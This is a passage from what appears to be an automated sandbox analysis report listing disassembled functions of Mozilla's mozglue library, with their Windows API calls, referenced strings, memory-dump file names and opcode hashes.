Instruction Fuzzy Hash: 25610176A057009BDB11CF20C880BDEB7B9BF9A308F49891CED8A57711DB31E958CB91

Function 6C989F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C989FDB
free.MOZGLUE(?,?), ref: 6C989FF0
free.MOZGLUE(?,?), ref: 6C98A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C98A0BE
free.MOZGLUE(?,?), ref: 6C98A0D5
free.MOZGLUE(?,?), ref: 6C98A0EB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction ID: 7b8dac0d6a1c2be9f6d786e96fc359479a160f350306defbc2ffe3ae3ea0e452
Opcode Fuzzy Hash: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction Fuzzy Hash: 1A61C075909701DFC712CF18C48059AB3F5FF98328F548659E8999BB02EB32E996CBC1

Function 6C98DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C98D38A,?), ref: 6C98DC6F
free.MOZGLUE(?,?,?,?,?,6C98D38A,?), ref: 6C98DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C98D38A,?), ref: 6C98DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C98D38A,?), ref: 6C98DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C98D38A,?), ref: 6C98DD4A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction ID: 2ce19ddb2dd9f54414bc5e9da964c65ae58d7b9f1e3280b6a2589f3f2b16fd84
Opcode Fuzzy Hash: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction Fuzzy Hash: EB419FB6A01606DFCB40CF99C88099EB7F5FF98304B65486AD905A7B11D771FC00CB90

Function 6C976590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9767C8

Part of subcall function 6C984290: memcpy.VCRUNTIME140(?,?,6C992003,6C990AD9,?,6C990AD9,00000000,?,6C990AD9,?,00000004,?,6C991A62,?,6C992003,?), ref: 6C9842C4

Strings

data, xrefs: 6C976593

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction ID: aee33180df4681bef97eb8d9293adcbeb19e5d3273948276209c37bf5257c9b5
Opcode Fuzzy Hash: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction Fuzzy Hash: BBD1C075A093409FDB24CF24C851B9FB7E5AFE5308F10492DE58997B91EB30E909CB62

Function 6C98C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C98C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C98C842

Part of subcall function 6C98CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9AB5EB,00000000), ref: 6C98CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C98C863
std::_Facet_Register.LIBCPMT ref: 6C98C875

Part of subcall function 6C96B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9AB636,?), ref: 6C96B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C98C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98C8BC

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction ID: 207e976fa823208b1e98ea9fd2221866170c1d7666e802f5496ded7fce77046d
Opcode Fuzzy Hash: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction Fuzzy Hash: C011C876B04209AFCF00DFA5C8D58AF7B78EF99354F200529E60697781DB34D909CB95

Function 6C96D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C93EB57,?,?,?,?,?,?,?,?,?), ref: 6C96D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C93EB57,?), ref: 6C96D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C93EB57,?), ref: 6C96D673
free.MOZGLUE(?), ref: 6C96D888

Strings

|Enabled, xrefs: 6C96D81E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction ID: 518a1d4f115dca210510e2e5d516a13717f5ba677d5c12c3752c2e10a77ecdbc
Opcode Fuzzy Hash: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction Fuzzy Hash: AEA129B1A043059FEB11CF6AC4907AEBBF5AF59318F24805DD859ABB81C730E945CBA1

Function 6C96F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C96F480

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

CloseHandle.KERNEL32(00000000), ref: 6C96F555

Part of subcall function 6C9414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C941248,6C941248,?), ref: 6C9414C9
Part of subcall function 6C9414B0: memcpy.VCRUNTIME140(?,6C941248,00000000,?,6C941248,?), ref: 6C9414EF

Part of subcall function 6C93EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C93EEE3

CreateFileW.KERNEL32 ref: 6C96F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C96F523

Strings

\oleacc.dll, xrefs: 6C96F4CB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction ID: 28725f1d3eb96d14e761cc1b1ce595056ca2c789dcd871fafb49936c0e065e9b
Opcode Fuzzy Hash: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction Fuzzy Hash: EC41A5306087509FE720DF69C884BABB7F4AF5531CF504A1CF59593A90EB30D949CB92

Function 6C9974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C997526
__Init_thread_footer.LIBCMT ref: 6C997566
__Init_thread_footer.LIBCMT ref: 6C997597

Strings

kernel32.dll, xrefs: 6C997557
UnmapViewOfFile2, xrefs: 6C997552

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction ID: d06fc39f98530bd9b52d9d82359c16fdc32aa699cef7a7e22ef4d855daf0ea23
Opcode Fuzzy Hash: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction Fuzzy Hash: 6321C839705501B7DF148FF98894E9B337AEB97B2CF2805A9D40597F80CF31E90689A6

Function 6C99A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BF770,-00000001,?,6C9AE330,?,6C95BDF7), ref: 6C99A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C95BDF7), ref: 6C99A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C95BDF7), ref: 6C99A7E4
LeaveCriticalSection.KERNEL32(6C9BF770), ref: 6C99A80A

Strings

accelerator.dll, xrefs: 6C99A7BF

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction ID: 56130422ceee7cd159cbb73df1dcff560fbd32cdc00e365c4dc6e4fbec48cc2a
Opcode Fuzzy Hash: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction Fuzzy Hash: ED01A278A04304AFDB04CF59D8C5D5277F8FB89B1871980AAE809CB751DF70E800CBA0

Function 6C93F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C93EE51,?), ref: 6C93F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C93F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C93F0DC
Could not find CoTaskMemFree, xrefs: 6C93F0E3
ole32, xrefs: 6C93F0AD

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction ID: 8123e68a89decc43139c4ab89be34a55f4b83c632af37d08309ee9801ad05214
Opcode Fuzzy Hash: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction Fuzzy Hash: 80E0D875748646FB9F045A7A9848A2737BC5B6350D324502DF906E1E50EB34D010C665

Function 6C970080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947204), ref: 6C970088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9700A7
FreeLibrary.KERNEL32(?,6C947204), ref: 6C9700BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9700A1
wintrust.dll, xrefs: 6C970083

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction ID: d2bc5a2834b2c398f77dee2730dc6bc03147186e3c410a1199d4bc0959044e0f
Opcode Fuzzy Hash: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction Fuzzy Hash: B3E09A7C649345BBEF10AF6598487037AF8A74B359F204055A916D2650E7B5D000DF69

Function 6C9700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947235), ref: 6C9700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9700F7
FreeLibrary.KERNEL32(?,6C947235), ref: 6C97010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9700F1
wintrust.dll, xrefs: 6C9700D3

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction ID: 07210193bdab786227a7d19a74e06b2181abb52c44688deb0c935b656ebcd385
Opcode Fuzzy Hash: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction Fuzzy Hash: 75E0127C34E305BBEF109F25994D7233AF8A707248F30A065AA0F81A90DBB1C0108A68

Function 6C99C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99C0E9), ref: 6C99C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C99C437
FreeLibrary.KERNEL32(?,6C99C0E9), ref: 6C99C44C

Strings

NtQueryVirtualMemory, xrefs: 6C99C431
ntdll.dll, xrefs: 6C99C413

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction ID: 7d1576485bfaa2d532d7f31a318b40795875c490c61c1542510355f2ea04ce6f
Opcode Fuzzy Hash: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction Fuzzy Hash: 9DE0B67C709301BBDF00BF75C9587137FF8A74630CF244156BA0A916A0EBB0D0018B98

Function 6C9975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99748B,?), ref: 6C9975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9975D7
FreeLibrary.KERNEL32(?,6C99748B,?), ref: 6C9975EC

Strings

RtlNtStatusToDosError, xrefs: 6C9975D1
ntdll.dll, xrefs: 6C9975B3

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction ID: 7d89e057685b2a7d8c698299475d347703a36829d09283b33e6cb6b64a2af7f7
Opcode Fuzzy Hash: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction Fuzzy Hash: C7E092BD608305BBEB006FA2C8C87037AF8EB46618F2054A5B905E1650EBB0C24A8F59

Function 6C997600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C997592), ref: 6C997608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C997627
FreeLibrary.KERNEL32(?,6C997592), ref: 6C99763C

Strings

ntdll.dll, xrefs: 6C997603
NtUnmapViewOfSection, xrefs: 6C997621

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction ID: 0705f05431e83734ca511bd2bb0a90453bddbd0549295556dad18567c1f38900
Opcode Fuzzy Hash: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction Fuzzy Hash: 3CE092BC609301BBDF006FAA888C7077AB8E75B65DF204195E905D1650EBB0C0058F5D

Function 6C99BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C99BE49), ref: 6C99BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C99BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C99BE49), ref: 6C99BF38
RtlReAllocateHeap.NTDLL ref: 6C99BF83
RtlFreeHeap.NTDLL ref: 6C99BFA6

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction ID: 2d6477e9dad1e22ea36e303089c7473f71edab069f8fdfcc3e2a0542abee8c38
Opcode Fuzzy Hash: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction Fuzzy Hash: C351B071A002058FE720DF69CC80BAAB7B6FF98314F2C4629D51AA7B54D734F9168B80

Function 6C988E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988EBF
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988F46
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F8F

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction ID: ab1a3256729cae7102c31fd845212350378b9d97e912912f9eec199a18e91e88
Opcode Fuzzy Hash: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction Fuzzy Hash: 4A51B2B1A022168FEB18CF64D88076E73B6FF44318F25092AD916AB741E731F915CBE5

Function 6C9460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9460F4
